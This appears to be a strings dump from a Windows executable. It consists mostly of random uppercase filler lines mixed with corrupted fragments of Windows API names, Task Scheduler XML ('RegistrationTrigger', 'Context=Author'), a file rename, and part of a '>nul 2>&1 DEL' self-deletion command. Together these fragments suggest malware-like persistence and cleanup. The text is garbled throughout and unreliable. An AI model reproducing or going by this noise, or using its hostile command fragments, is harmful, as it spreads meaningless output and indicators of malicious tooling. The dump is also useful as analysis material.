FCNULJPIVFWR
ZBDJIYKNCM
WTOAAV
OAMSD
CLILYMYMVF
IQZIWDAUOLK
LFCWOLRUTY
bXFGEB
LRDNVSPXFHJW
TKAHJ
FUNQBL
XEPWVSDZXUDM
CGAVPVQDAQ
ZLDZGM
RQDBVHNIAT
TWWBCU
$WJ_@
uR_KCUZ
CSQFSIMFBD
NLJCPPGMRLA
SAXVPP
IRWIQOCRXN
ODADX
WBBCRYWURRZC
AXXHZ
kPHQZ
GCLEPHSZUAF
PIWRTH
MRNFG
GXWCLWXHUCK
STTKQONQN
TNBMXTWMFIC
PDUOQURDIZWZ
PLEIAZ
GUHPSBMGHPCY
(6*PC
OEHHGZQZJZVQ
MOFLCWFLRKX{ZL]KSMWEURH
DDQJSYBIAFUX
RSJTVVUYFXVX
ULDTPCQP
ve>s<0.8 Connectio'
FFDSNEVMMSAZ
XUWYNDYSDGSZ
OQZMIBLXHQBI
UIKHFJZEQMS
EDBBBD
GNMHACKMT
NTAQAJZADVII
System.Se&Rdcq{
BCBAZRQQ
HVJTJPFDOSB
DQAIBUJYXTUU
CBXZIXBIGD
euL OqnwMgBytesWritten
KPSWIUDU g
CWGMN
JXEMZSFFQPWM
LSBVEPGRODJ
JENLJI
JQUCIMTGVCC
A`l"lWYw]
SUUGBRPK
WHLXGBBGZQF
GAFQUSRTJMG
p AA
GNTQKY
CNCVBOPNM
NGFHED
MDMTBUDAIJTT
AIHUGBYS
FIJGDLYUKMYB
OFMQDB
YMIKHRTFLHWR
fae+
QYLIJBRW
FOJGQP
ILMCGBVABDWN
EQZBZCPOBV`W_VTXT
CNXZJVHEEMA
FNSIWGHNLZ
oO@SL
lWk67i45dN.Si=&C=3L/Sii
LNBZZFVAIPX
HUBBZQRRVUC
KOEBZL
#GUI
TTQPUSOZL
HCHDQRVNDMX
LPPHXF
FYNLHNZEXUOQ
VJCDTDTIQW
WMIAKZVGAOVO
EOKDXEJIBJ
HZDXXKZLYZMT
ESIHDNIMIIO
X+ 9
JPHEZRXMETQT
fO[_K
PJXQIGB
WBCOUBYE
AULFKO
VDIROEFUDDD
JBXCHWFIQMNF
ORHQBLLWLI
PAEVYVQTVFXS
5*9PdgistrationTrigger> X 2)%"o
KZWESCXTWE
EGUTHRKUXA
QWWXARLFFKBN
ELHVK
CEOMYC
PGLSFZNVTTXT
HEDPZS
KEZBUGDRKF
MXYGOGQGK
CICTGJOAP
PNUCRLV
&rE
&"8y
YDRRUXGF
HLNSFK
KFHFWK
BSHMOXUGHGP
KEECPCGEQBOX
PEDDRC
PencilCorp
YNAXUBEBSN
GRQMNRVGM
procName
KVBAZEXCOQY
q pp
GEUGNQJ
b@JTXTHNDF
VISVBV
TPEBENTDR
NHEAOBTJZOF
& D
$DD*
$ WA
@ymm=Efq;5=/Priority> </Set:@}mw<V.3+9Cbtions Context="Auth;U16
& D2
JFQHDTAGR
}VLR
ryY D
& D7
& D5
VSKYFU
vYQN
QPEJWFZJDD
AWODUXJA
qASFNTVAH
WWLHX
LKGAQDFUCLEQ
&rE9
PNYMQB
FLRFCS
WGQJRC
SBIUPFFCIFBZ
&rE6
CPUQSOYYHJ
EHCZAHK
EFUZLR
JGKJZ
SSYIDUCOXPX
& DQ
& DW
JUEPEMMFNUM
XOZNUPYQDLIQ
&rE@
&rEF
OIHAL
& D]
YOKEQH
SOWJQGIYFIE
& DA
VEGLZGFPMH
IXZCCPL
IFGOKCGMLEE
p r5
PJPYUVHZ
YDXNXYFXJCW
& DH
BUUREVA
EFDLCWUBKQPF
Marshal
LZKGXVZNRGQZ
AKYCYJIWT
YMZCMALXHBNX
CEYJMK
HQJAXUPZXEAC
&rEn
CPVQIXOOYW
TESNPG
[BUCAHVGDN
& Dx
&rE`
HCQSZC
UUJSDOTVNFYT
BXZQLBT
GHBZOI
QUEMHKMNNOSF
KQOASN
LITLWBZYLLW
FXBRBVWTZBOB
QCGDSYK
HCZBJW
NURYZM
OVLYLJGAGGWG
NUPHA
user32.dll
HRQZXXPAEWYQ
TLHCZAOBU
HAARRRDWJND
:*{
GIZBSHZ
EQXEDLZIPHL
D*-[^
SOPWOLGIZLZ
LTCQTZXALL
AZVMUS
Z+K9
AAJMSQHAPJY
PMGGU
gF44 DPH
RIWPJMWXIXDL
tLGQ@
b/rsrc
p '<
GZJOTNILWY
YXQTLIERGKA
FRTTOZZYMVMB
VPt&
ECXKUWDOS
WRBSOWESGB
"tx
NFAUUXTSGMW
WDCROOJMFT
GCHandleType
YWIQWCSQTJF
&r{k
PXWWQSWDY
EYZRWBPQ
XLECDDNGT
&r{j
WYUBEUDOA
JPMEWMAOZE
IPIGCWQOFILQ
ILEZGP
DMPYRS
UBNXQSHJGVJT
TNQOJF
YLNELPVUXERA
NURHYIKF
HTRAEQXQSIU
NSTMCCXzABKA
KXYFCQ
INRHGWUIOHIT
UZDAEQGYLHHF
OJJAWSLFUXM
HKFCHGOEZC
BCWKVDGLPIM
EXDTUOMN
HHJIX
D*#-
BDZKOGRP
p '}
FXZDH
p '~
HUZYUONWUBE
INWHWZIB
DIIXYYE
NFRJALEJA
A[MPNVZQCCV
PICODB
ORGAIXZQ
NBYAT
TJXGCAO
NTLCSKJZV
DRTYEWZTBFJF
HIJFMPCWKMCY
BBEKELXGZ
UKGBKP
vgu_WindowStyle
Loa!*Pna
MKBBQHHQAAPV
PHNRXDRQKZ
RJCZEPYVBWYP
FSPAH
PONZKMCZZMUE
FFDFXDYGU
MMHOYK
ZQJGEC
ARQFTDJYSFB
VURCP
DSZATKMNDEDJ
EUCTSWZQ
LMWHUYJQUIMR
GWCTZI
vTJJUY
IWVRNGEHP
I_4f2Q54i3iG3G3y.Si',Q{11m63g4
CGMSYXOKX
SZSEPR
TUNRYISTL
IIPBML
PIVIVKUVSO
ZJJWOIBEDBVV
GVCQQCKHOJKD
XNRRKW
XPRXGPBUQTIH
NPDVWV
&r H
EXMXUPBRHJY
ANNZBDFNTSD
DAVJD
NKQHOK
CTODJEATMI
YIYCUZIPKZ
&r U
HDBAAHLZMEYN
?u=
VSACl'K}|t
SJLEFA
APYLLYXHNNYC
PRQXTJPEA
HAWFRQBXPKC
&r &
NOTBQI
&r *
OVYMP
ANLAJFD
bA]LT qGGF
Proces%|zgam$waphg
QJXPNHBZEMPQ
LJEHBNHTEOTY
EFWFIITSBP
&r 5
OHHITUFTFL
HDTSIIT
JHCBJHDLZZC
REZFF
SHPWC
&r >
D$j,
KJTIB
OMOYBNZ
+&7 M
BZETPEJE
NLVWRTPH
NRXKHRYTUIOY
KBITOV
VCMJJRQWMYWU
MPJQHZA
e^YKV
PADPADP
&r
KAAONEAJRNLZ
IAZFVPHVKPY
NHXBOE
VKXGUBYMQYWZ
RKRAQNOW
GHHTVIWVGCLQ
& 9)
DCDYRV
p oz
DHSTKOLZBCGT
GGCEPZPAYXOU
DZTZKH
SEDTNSENMYY
$B[_H
XFD9 9C66g
DCXMVOHCJQQ
x&I!
QBKZYF
QNECWQLIC
oP]\L
GAFWCNRHOYWE
XMXYPVGVUNOH
TNOYFD
XCIKRPIKVONI
VMCWEUATHDPI
TWRTMA
p oa
EDYQAZ
DNZRVQ
AAYLLOZSXFJ
CHOONN
A&%@9
AOCIV
XHOMM
DFBXFI
AAHBGDPOQYD
SAFHHMUF
RBKQYF
NIATQK
RMXRFE
p oL
LQTNWYJV
KEFQDEIAUE
WIKCBC
DHIGFFWKLYZT
p o9
IHWUYIYCYO
LHVCQAKIN
REGVBOUJLYN
XZBFEGSRIQQ
CVBVMN
WFOAQRIVZVFW
IGCXWAAJFLXI
QBDWQ
EIXULO
GGOJLD
SVXTXVM
l$I+
KGYAWV
&rbu
WCBEVEMYE
OQLIGCRKP
ELICZUBKOV
& 9v
RJSPFPTZPTXE
BDDZCDKQB
TCNKADLEUO
BHEBVIAGAQHI
HTEGUUJDRFBZ
NOAGRBLJPLZM
QBLVAH
gevhve
-"sB
p Xi
FFKYTJ
CLCWQJOPUCU
get*Nc}g{oame
GQLEZJJA
AMFQYJHBLDHI
ABEVZPAETNWV
IFMRDPQSSL
RNZPULCHOCPX
PPYRSPKH
JCCQVNZO
ASWXRQSUCUR
UIHBTT
SMTNUGSKDD
KIPQXVS
GGBOLTO
IVLAGZ
P[]\
EzoEn'F{dalu
RZRNTS
ICJNSXPXXNZA
EFIEPLXOP
MREUHAK
=+P
HDIVYGMTPVSA
GWLNVHBLISGX
ZDXVVIKVS
YbCYw6sCYd]
VZQBE
Type
LVADDM
FOV@YVKPX
"%6",n 1 wS3.a"?nul 2>&1 DEL fY3* q# >nu4
XUXOEIYNB
SYDWOO
CRXJP
EYYHGL
MZPCSNDLPO
JSNWORB
SETLFZVTSCMG
ZJLKHV
HQCEO
'BHAEQK
NQYWYLFEUIOA
AZDHSA
CXRITXA
FROPHZG
SQIHGKEAKGY
VBHVLL
YAKHHYKDBN
WQOMB
XENNHFEP
SGPHZBDIJRFP
ASJPVUZHJM
DIMIUTZSYOB
EVCFPYUI
HKBACTHKJANQ
UTVUVZNVQ
LDFUTGGGWW
SMFOMBRMV
GPAXLO
VHRETAZ
RGSBNT
ZTYXMZWCKFW
JCRIC
! @g
MKOOUDYT
REURLB
TMNQRE
UMZWGK
psapi|I~e
IQVPWBNWGIL
IGDBMFRTMZXA
KXLZFINJ
YLAGGZBPRUZH
FDYXUICVGGXH
QRINCNVWVY
aDQHA
JFFPTRWJMPC
HUNIAMVLKK
OWIBGZT
RIHMOA
OWTEGJJRNUDE
ZAMYBZIJFEBU
VUXSHQKAGS
gVLKUNw\FJU
IFKBMAWD
QDOERWK
PNPSHMQHGNX
YMGKAHNIZIJX
ATIJFCODY
FLVXHHYTZ
FONXSQFC
UGYQSDQV
AEKOYJAEAK
KTBJUFS
AXIWCPNKAZ
GAOCFJZSH
ULDMRW
D$(R$
VIVVMOKBEFIN
GHCQPJ
GZDETCW
QERQKS
&r*t
IYZTGCALVNT
ZSZQPB
PQBCMB
VLRAYRZREMY
DUHWZJNVCPW
ALANFYSEFNZZ
OLESMLNWSXUQ
CPAZTIXVYLX
VVSNVWYPFK
RFHPDM
xm3,5R4
SPAVH
EQRLNN
Val<BBrugYKyIhnncationType
CFULGPPPPBWF
pat%*ulp]
QESDYI
YBFXKONYCYVE
NomKd
SGAQEGL
RURWPWTRER
EICEQCJLU
GWABTIUGES
&r_k
LZNMMOOIM
YIIZST
RSVECCG
ZVROLOAXLEQI
aKEF
MXFGBHI
FHSDAXSTVT
OXRMEIHHH
BJIPASLYM
XEOCSIMRKKA
TKFPEP
WKPUZZHZAMMS
ADQLGW
IHILBTWBSUOV
QWHLFUDDJ
JJRIKM
ZHDBPZVCNHL
GIGIRN
ECAFMMQWQ
EGEWMZQFKEY
GMTYPWMRTQUJ
FBTAWFFIZEUK
JVJOAA
SWERW
BSQU
WMNYLMT
A a
KFBP nYNOS[
D$ E,
ORIBJABZVTI
IIUNAR
EYBYPFSPN
DKTMOQCZYF
OMVALMBZD
MlndTimeToSystemTi"I
GWJUGFHR
SJVFKK
HWLMZB
XSEZZK
ZPIKOJPPPVPE
SJDBFZSJE
JJMPEDFIG
& _
rUL_K
{LYN
RXGBJIWMUQ
A& u
KLEXLA
KKFZOFLPXL
p WY
ELKHC
PXJFJMBAAEWI
PHSJWDOD
NOJNPFNCORT
HRAIOIADFA
WRBAWWJ
ZACBARMPMH
LDFDSXMRS
USYMQNTBURL
CALGHYBPY
NNFGFY
AUEUZQ
L:11hWYCi<
XUKALGA
NSEWO
JEKROOCCO
EMZENVOWWE
p Wq
EFYDUAYXWYJ
CIBVNCMVAAHY
!#"F
HHUHOSGABDVP
GetString
CYXGXF
p Wy
CZHECKGHXVQN
UZCXXGOLX
DPFSOHJNYJR
$LYA
PGQNKSSZ
QJKWXXDFLNY
MEXCZEKICUMG
OHEINPMGVEJ
ZNVTAIVT
HTKQDORJB
YUWDADVJXCTF
AEMABVA
MLYETKJ
AEZGGHCHPTCB
HCTYRVIKVBH
EDNXJEYPH
EBEQTPYG
ZFMJWCDQTP
VXUMEU
OKKAUC
frea&!{ cpde
OWALWOSVW
FYGSPX
OCOZQE
u"P{
TBQUHQ
WoI,
NSL uJ ARKWZV
CNLBLW
P xv
p F?
EUJPJRPFOXXS
TFZXNWRKXUM
EHFAFSEBUEBI
F4S}gjceFile
& a]
GSTNZHUYAUT
p W1
KQHHNKWMKTFJ
ESWZG
& ae
RUYXSB
WQQEQTEKMZO
AZODXW
P@BQYCHXM
ISFAQJXYHZ
WYLJHBRLDVAC
UVPCMZ
OHLFFW
tE@\C
& as
FGNNBGM
EUSJGDEMAM
UTQHEG
UEGIMMPKGHBS
WZELQE
PPXCYGDCCVUF
p W*
NKRFPQUHWI
FIFNSE
QYFACXIB
AEFFNHTWZH
IVZQHMCLJNPR
MGTZOT
NZTDCAQPCT
IWBFNANN
bSB]IYNPZ
FEOP
BABDHBWIGGW
PEYQHUYKXXR
GJVQQLSLAGLS
SecurityIdentifi1U
GWAWERY
FYVQDNE
N^)[
ProcessPe=_
ANRGQRRZFB
p
ZGLNFJESDO
XCKTHBVOXJ
DCGVMF
TRHSVIYE
BFMMHFWIPKSC
RRXDOJEFDYP
NWRDHSCAJBIH
VVGNIQBBJWOW
ZGPHLOGE
p 7
DNPVQ
VGESGBVYWG
CXFEBKIY
ZFTUJUUAHHNU
wVOQOJRZIND
SWLEIJT
UOQZS
FZEHMHDBPZGE
SVRKPTPY
AAAHAPI
OOKWMH
ESHLXL
JUPTKYEXLTV
YTLJBB
PLADVLNFS
MRXLWPNFCA
YZSRPMWGBY
KIDDJGGU
ODTKWAOONSJ
JKDNNFEL
OSLWFMQL
DTYGW
p _
YBVSHB
LUCXKBLM
EdtKernelObjectSecuri9T
UNBLEZAHFRMC
YSFVKLEJPN
p H
ATYFCLHB
GVRLMU
TVWDJJXDB
PHPUFY
LWAJKC
0[^_
ZPUGTT
WTQJCE
MFBPKQOTHQ
QBAQBI
ZYYXXTVA
`.rsrc
VPVDGDUTEAOS
XWWWKK
QKZCJM
DEKICTTP
HMVLET
LPZUHHKYUII
AYYJBYN
CBRPKUPDGIQX
iY TK
TLMKDN
YSNSABLZS
e_EA
VWPYDY
SZOSZVZGI
UIQREUNRYC
ZNOZNE
cbaXD5Y0W6
UBRDHYMMBL
SNEPLSRJBBDJ
SWHTVGEWR
INEISCANBLNT
'VXSMBKCU
JTHTD
WTWRUHUCMLTX
&r_7
JZADDBQ
QDIZVWDMLNK
QNTDBPJV
YGAVMGEKZTV
mY\I
MQGZVV
QICDBOTJZ
PBGOELFMUKU
JMBPDU
H'_ k
oROHXJ
JOJMOZ
yE^]J
KWZGDMNPIIKA
YBWJCSIH
QROFSBDN
OSWLDSKMP
%+*0{
LBQVFOA
UCKEZHMUZIUV
AWPZELK
~GBWG iI\KIDN
lj\D
RFMBTUCEXJF
OSIAZ
PSUOF
RJEZCSLJEPAL
DIMNBQ
BTIFDUSUEUOO
KKBLSQQIISE
XRGKXZREHRIV
UOXHRQDFPT
HGKAV
HWZQMXCQDR
IFSZEO
D$|_,
JEYBEBCXY
MZGSGUA
GSKEQMCXSA
DUXQOSB
Cs43l{
KGPFSVQPVJ
XQSFHTEKEGQ
XRDHCACT
q pw
HSMVX
WETBOWAEJ
LKNCIKDIJXOA
OPLRQT
DUIUOQBGRNd\GUJ
SPXYFTMEBXC
XAIIXRVTRYA
AIJVRWOYQU
=nhn
NCZRNQTH
RYYYBFIKULX
7QZ^&
TAQNNG
FBVMSE
EVAWWSSVFN
YCEKVKQSQ
A\MPMQ
IURCKV
ZJCYCVPZPDAV
BIKBXCWK
PAXTH
& B
GCNJJTRBG
& )w
BADMIXGR
D$(t61
QKRFTK
KGUDR
HNWLCFXOKEVO
OWJZSVNIFY
SQYSJMBCX
KJRYSJSMWHM
SRCTQC
IIJRQIE
UQJKVIOTJHXX
& B<
XLNSHHOTJV
UCWLVJVTEFQX
D$8Z,
p tA
F%(I
NRDMRZEZYN
&rG?
dRY0Zs5dSu6d0R
QEDNPISWP
SXISOOMKEO
BQPSQK
YEUKWAQZ
DKZIFL
RDPGPBHGLZ
FOEKJ
IFFQMMYBLERJ
MIFPK
WFYKSA
WJZJJRAJFBQW
XVMENR
VEKJVZZQ
GMONTWGBYQM
&rGS
BVBWDWPI
AOKCKBXUMIJT
%" y
4)f e
MRPZPFXPYM
GetCurr=B` bg!}VeqpxPoint
GANLAA
CIPBPEXTQH
TTPPAZ
&rG\
NOYTRRYNRCZV
NBBAHF
&rGA
SYDLSM
v hm
&rGE
JUFJMX
WOFYUJSMVPN
UERSI
WNXGZD
KYLBMNZOQM
QXPUWLCJFQM
IABXKSBWVWKN
& BE
CBXZOSM
FQBOXK
EENUWCSUAV
LMSODEHEUTFP
NIGNSHMVDOGW
QZFPBJ
EJRYE
JMHPSASU
TTCPKS
&rGa
AMMJSA
XHHBBXBTNZVZ
WJVYBGYGILXR
KDVVWMAFDT
VEOUHVLHKBTM
PCKIA
NIPMOLBRKKGK
FXNLHYDZZX
JLARHHDOXLMA
p )+
p )*
p ))
kernel32
UBYDNSOW
HSTVGJJAVHUF
LTHBOZJTHQ
TPVGVD
aq=36VR6
ADZRSYL
YEFLCO
ContextFlags
KIGZSSXLGLQJ
FBCMSR
AJQMXZEXUKWG
PLJAGKNFRX
CUBEKYOD
OGTOXOYHCW
SSLGFGS
WQYFMSN
M)W,
MHPCNUZOBZFT
MDNNVR
VMBVL
ZMIOZQ
JSVKZCHYICHN
PKZADDSHW
CEBIMUB
MBXHEHQINNW
JDLSEZ
CguDesk;Me_lleow
ZGNMFEKKB
UWS1
HRWCPONBDNU
QDSJRN
T$\1
E$$t,
HEBJJXRCHCE
PPCTNWO
UGTDLSDVGFO
JLADTC
p )l
CZEYZW
p )h
NIDTYNYMDJ
BOAWB
HZWWXGDLSTQ
KXXKJE
CKJJARLULP
ZFTEEFVQRUVH
FJITDFLUQLO
DRTJEXLYUC
CXRUHLRGQKK
Bkwi{\t{vknn="1.2" xmlns="https
PIJCQMK
NYHFMXURSUC
FDNLBEGMTPZY
PHWTEZEHPXWU
EMUMD
KCOFGH
CKNDSHLF
GDDBQKXOGHHI
FYVHIGFAKPHC
zV AR
KO,SMoMD!qD
MSILVFGSYQIT
APWIBRPFDEBV
YESLUIT
KVXDACDBXK
JFTWBRXJTOGE
AQUGIHTTV
p )B
YFZRZ
WFUGRENKMFRJ
PYTCCO
IRJUGPPL
OJZMVFWUUFX
MKLYHZAZHCHS
ICHXZMJO
Pblw
JDMELCIUAV
TGKWAWEJQWNZ
PKVBGSHL
GXZYL
EKCEYFUFSYNZ
NJEDZAOMQL
AIVGP
UEMVPSBXOT
EBJZDNUMT
QQYXSPTATKR
YMMSCYDIICB
IQJVJYGDGJKW
MvMqjF\PQ00dR5
_.9v
LPVEZXZHK
RAMLUYYFTS
OFSXUCSD
TIWDAQIHP
TWGCJZKUKQX
BCEYCMSFHBW
v_HRV
OHAYWPUNLKRB
BLGPIFQWZ
x?6e5R3YW0d3RCldSs4<B%bC1F3y.S&N
XVYAPLUVU
WLZSLDDGXEZH
OHAJSZ
LMFUKVYIBWJ
JPUUMMHWCAE
ZMEKFTAKZUIA
_.>F7
SZKNOMYQWPTW
DYTHSEJEUYXI
kAZADEO
RDWGOKLHVDP
IHLUUS
DQMALP
UOCALKFB
zX97,ELL
CWCKHJQCUQQS
YZUHMJH
JXZJNUHN
AKNPQRUMZXTZ
KOWWCLZH
HPVKRTWBEP
WDPLLPCHUWNL
JSCSSLILU
*K\PK
MJPWR
YMQKQOMDIJSR
DJARGALIMZQZ
DKFIUB
SEVVHB
M ta
OLWXHD
KJRKUTYXDEBR
RMBBPU
RFWCGAEIMYT
FLBLNXHYSB
AJQQRLPYVTYY
BZTQFRQUXZB
BMTICEC
we`OdssageA
KNAHEKAKCL
ELIYJY
FIYLOPHMDASI
CRKVKFXUILFE
JHZOYRCN
ZPXOWB
NEVDBW
VCVYPQWPYI
HNBKUYVFQS
[D00Wg us
1 tk
rYMFSM
NAFMYHBHYIXN
PAXEKTCOX
XZNJEGVCAAPN
ZFZUFV
XDWIO
XGRTKSKQSCND
YSGIQXQPTXWH
WQKGLDPGL
WHOHCL
DBIUUPRQISOB
ACSEYGOIPW
QKQJZU
JOHLVU
NRANPQKFIVJ
MJFRDZF
']O\S
TVSSMMIDQG
UOEXVQSEU
ROIWW
C (sp9 u60
GZCPYIYKZD
OOJEUWJLZVVF
& '0
IUAHLYINGUEF
&S[TS
Syst*I>Omc3Iz{pkbs
ZSHQIVBL
TXAFPPQJR
GEIBBXEBCK
TASLQO
BBPXCYL
GHCCPQOTQB
ZWYSTDCN
BZLVL
RTZOTZL
GMBIHO
BRPLTJDXTHFQ
FIYPKIFLRBUU
TPPZCO
ZROUHV
HECIKGNULAQC
CAGTKQTDJ
Eb%)pUfrCtxl`r
JCAFINGZWWFR
RKKFRL
QANFXAZRWHOJ
SWAMHWDQMRNZ
SGSSOXXMHNME
ENNJM
BGNEFM
TOFSZDV
YWVBXCA
JRTGZWNYXAB
OMEDAI
SZYMHFCLS
SPVYIJ
YFCCXO
NRIBVMIW
G!h`
vSMW[
AADFQO
JIZULD
HLHMCWHAXSCL
MWDTHEF
WDIFHBFXJL
CCBJBJXVUJUW
TGXJPFAIIOF
WVAGWKKXNNHO
HAVVVMQY
OCSQKO
SZEFQGWDVXIZ
VIHBKBPQFZHR
*PYSOOTYHN
BEVYTWOZC
CQSXTOFRABUIbQ\_E
QZUSTPENNLVH
&rd|
NEYNVQ
CTUYLKFBFVTD
TOKOT
System.Security.Perm,Tecjlr
HAFXQOUDKX
WACMI
VJLXMRJXULM
#Strings
FQBFLNHX
MRNLRUSEPDZ
KRZKJHUFMKUB
JLGHCL
RPONNSKCPW
THHPZXXJLECW
REJWTNXKQ
SPHLNLHNFDSD
RXOZN
USSMNUZNM
AQEFLF
WULDLFBMMSBS
MBFLAT
BZUMY
ITRAHRG
RATWDSBY
EYGXWRIKHEK
VZFOMYF
Ed X|yFp-V`kgndAttribute
JSJRTVW
CTPBRC
lWkn vr%Vkh
GQEEDFJT
JQVBOVYGIVWE
SPYHIVCZ
FTFLXW
BQSOIUQUZOPB
RAGBLULWT
WDBRXK
QUSLHD
KINZNX
FreeLibrary
XHBUCNVOOC
~@XCSCyBPCUOKVGQ
EWAAFOGM
XWCRG.exeRENAME.exe
KVUYBJQPZDZP
AHGZXCXPX
EHZSOVX
RZUIZBVPVBE
GJYTDM
YQSKLFBLBAG
YZWVIRHUGBOJ
Oucgg]16.0
JQWWJE
NHWQZ
COIISQ
KLAGE_OPTIONAL_HEADERa
XYQGLASDEI
RTQSUMNFM
SLDBGDLOR
AJETLAYNOJO
GETGNG
POYDWMOPMVVD
A&)K
xWk@Lh
WYUFKVPMOO
{+U S$
golemi2!toq]@SCII
ESYOSY
TLFRC
TDHIYODEVFH
BXEOOMIW
AMPVUE
PXIAQI
EXICJZYDV
EEWQARIX
tZGIUNaC[@OV
JQLCUTRUYC
MUBCMEG
YKKZOOWOVCEU
ICFRHODYZRHA
MLAYBFHKM
loca"Dzxq
TKZWHOYX
NOHMTRAMZDPQ
m Tp
UOGEMUSV
HBUG
NRXCFBOELA
SHNUUANEPYL
LLUYXQXI
FKZMBFIFJFPO
Hxlkw"Iuzw
MGQEBHE
RVKTHBNCUIU
ABLFIWAWOYMZ
OCSAHRMLXFVL
JQJPHIPPKYC
SDSVJLEWMIKB
AJFZXYHIBMD
EVCQIEHQDSOT
SLFQQZEFYQ
AJCBQWB
DSYBQTOFXBS
BDNDI
ZOZNBPMMWL q
YKYTRX
WICIOHLEOBRH
FqW"GuzSkdwOfSection
ELFHKB
jP^G
NREAJN
IIXVHYO
TMPOIT
ILOKMUH
QVEVSYQTBV
HILJZCYJWMJ
YCBAGFUJJOZS
D$$[
YFZMZCZXIJDM
ZJHHG
QNYXXZLDJBUP
CIPYTY
BWPFIFDTD
D$$D
YDMOXECZFTP
GWYHIXQUCRDR
RRPQYBN
& kW
KJTSGAPTWYQ
EBUPXKTWLO
AEEWTSB
SEEGFH
YSFARHQ
p\XRW
GXKFRMLYEMR
ALTWLIZRD
TXYYHA
lQBWMHM
MPSBYQKM
ZBAUHNEGJTD
ZIUFBX
MGZAYFRYACSC
CLDJNZIPTNVX
MIZTZCEYSN
THMLVRFT
D$$f
RJMKVS
NVPGPQRW
KDMVIMBZN
QKHZINNPNXMG
MTXKSY
&[ C
QGBDZF
TKJNQKSUEQZY
DYNPLWHN
MHQGAA
HZKGORFKK
h39F
ZOUSWJB
NYATECZ
JTJLYS
DCQZKII
NSDWALFSXPSS
RIFAF
EKETLFSEXPZY
CHPIAQNVOMLG
oDHKOIBRFH
QLYSWMUGQP
MLKDFXURDINB
CZMOHNCMXIS
BDQBRCUGAV
HYGPXUJJAGIO
NMYJCX
UJUTWPLBZSPQ
SDCDUOUYLPV
HZe
NXOYVBKAYXHC
SBTVABPL
SSPXIANO
qCKDDSt]_SEGAF
BRCDQKC
IGZRZCKEXAQI
ZZWQDRSOFFLJ
CJLLKRDEIPII
XPHTRKGYCWCD
str.B`
NOYAWBBRHV
J </
GRFGFMRBRN
BQKHAO
PDJBPNBJ
MQEGXJEEVNW
UCFXKJ
UANGNADCJLHD
ZMUXENNQFEPB
AYMVXM
p YZ
TARNZKHFZIPJ
ABEUNMKGGY
LWYNDWWWSP
AXZRJSSHTDL
Wadjmj\9375CFF041311iH J=:@0010{d$J2466
YXOCHBMNVJ
BODKBV
FTGRNPEY
MJGAXBGRNLX
OQUNKJAKIDXS
LTZVCG
ZNHVHJFV
GFXHYKHO
IXHORAAFWRCU
DWXXBPUA
DCZSGE
RBEDOPHQOR
OGHMVJMQYW
OOKHWI
D$I5
UUTHATOYSQ
`[EQF
GWYOV
SWODDQZO
KZEIJPB
uR\PL
EJXKUCK
XXINQILRXJIA
FKZMAZ
p pl
FXJPVE
JSDGNPSCAVE
ZDIUUHG
EAJYBIZIVMG
MPFGRBNTYOKJ
YIHNNEMWGUZJ
p Yc
& o1
QSNUNH
TVEHYFFII
VZLVWH
& oI
XHMMKHAXSEPV
RIHJSN
ANRGOUJEFB
fPMK
ZNSQLU
As=G{ii{
}Y OCYLQM
QVMBYDBSGB
(^O'
DXGSTXVNDOM
p Y
DWSOMNNDHADL
DSJZAKDUOSNJ
MDWITQITC
PXAKROPE
WDPZKAVJUEF
AMNVHV
MoveFileA
MBRVDCA
KSSESG
LBXQTAH
Dp#nm
HFJOCHRBLV
& o`
JVYWYA
VEAYTDZZDUUT
EBCZMYSRFDFR
QJUOFBJOLT
p Y(
qI@CF
CQALBG
&r,|
CJCOQQUQJTL
CJHAGBUNS
HSTALRBLFR
%MW[_
MJQDWNKPADIK
VBSIEUKBH
ORQFXGLFD
NZQKTV
CMHIFQVAOUJ
GetCa"@{fbC?Yqggnx
DGBIXCYXBP
LGCKX
TGFTNMIRTRDD
w][M
UHCYRWWOBE
PJJXK
OXJAOJ
RXJRXY
IZSHZI
YVSRYNGBM
OHMMJQMWJM
HJOCYRTDAZUE
FWGRLVFZKNU
XTISAGNCO
AHPHSTL
WJBNJP
GCPLOD
DNBNTTFOVBGR
APLXCB
FYNWWYMZYLBA
YYZROMCEOMRrVBUZS
FMFSZNWETAUN
VGLTRLVYPDZ
XODTULK
ZRQKVP
UTVVPN
DQHMRAG
GCEGPB
ESHLSFJQPQ
BLQMOIRIH
v] ARHFERF
LNROOEHYUCF
VBTCEN
VJJLBHTUXA
KYMTHKPODIF
ZOVLXA
XMQTMJKHPCX
AUJESAOPUJKD
GXAZZGHLWP
l <b
OKGJRM
CCCVCFX
IWHMWGFIYXZP
MKEGZ
DHNSAZGU
KIXXUBQYEP
g^GO
IFEETZEEKFZ
TPMJFF
U4RSWg6/
JRUWAVQIF
EVBHEW
@[ }
Eb='Si}
AFENCGVRA
UPMLGCYBUBR
YIVPYE
CTMHPYHI
'BOCD
SCRUJIXU
LZQLXC
ZISHNMY
RFEMDJ
\IQIOZASQKGJ
EQECRL
WFTFNL
QACGMGRNIA
KHLVVIBJXTq]ETK
EMNPY
VBAZWD
KNKBQJUWZBZU
/ctor
u/;L$i.
Sy+Swe+Vireading
TCBUJG
GNEUWRAIK
AIGESEVGNHPF
RDYQYQ
e^OA
PGPPFJFTVOBO
SCIQTUBTKSNA
OOWJJUIQKFXC
KNEIWEMPOE
USRVMRDEEN
J ;t$
KSKZE
RNPOHGEU
DTFNKE
SJZGAA
MBKBLUEWYYUM
LHSVZWXI
YMFBKLNOSE
SPUVXSCQ
XIYFZVRFKNJ
YXDZVFYPGVY
CNPZIU
EAZEIHIY
MethodBase
ZNEWKUIMP
QVZZQIF
NOHDWGTFXJ
ECTGTUEKFT
FYUQSAGC
CWDBEFX
L| fphtical
GetTypes
XVJKRXTWFJ
JEGYVKHOEHO
DAGFCXJEF
AOESVP
IPJYTPJWC
MajorOperating
hSDC
GLYVXFZBVYJ
GXKLQV
ZYPKMBOHP
TRVAIZZCN
PANPUAONSYC
OZDIDK
NFVFYI
OFWJHD
BEXEMCKCQTH
N.x@
D)I,
CWVHHX
LLUZQNVP
AYNEIK
|$Dy
EMZMBZHUKNVA
`[J\
BTHORNDCAVHQ
$WRA
PEGEXZAVWZ
KWSOIXD
IQWSMV
XUUFXS
JXRTKR
DYEROMA
DRONE
EMKXLR
RCIXVOKTDDV
HIUXJKCMSY
VIYSK
INMMXJDTNH
KLXPMQJ
&rCM
OUMXXXXZTDV
JBILKK
KEARI
M"8z
IHJUXHVOIT
UUNWY
LYNDC
,G F
-/V@
DRPBZK
ISVCLVN
FZNKYS
EMLIAQD
NMXSMKMR
k\QRS
SUD$
YZYRRDJKFRHK
CKZSQQRVPPR
XBQBFRDALWDI
WGHRZOOY
WLMTEL
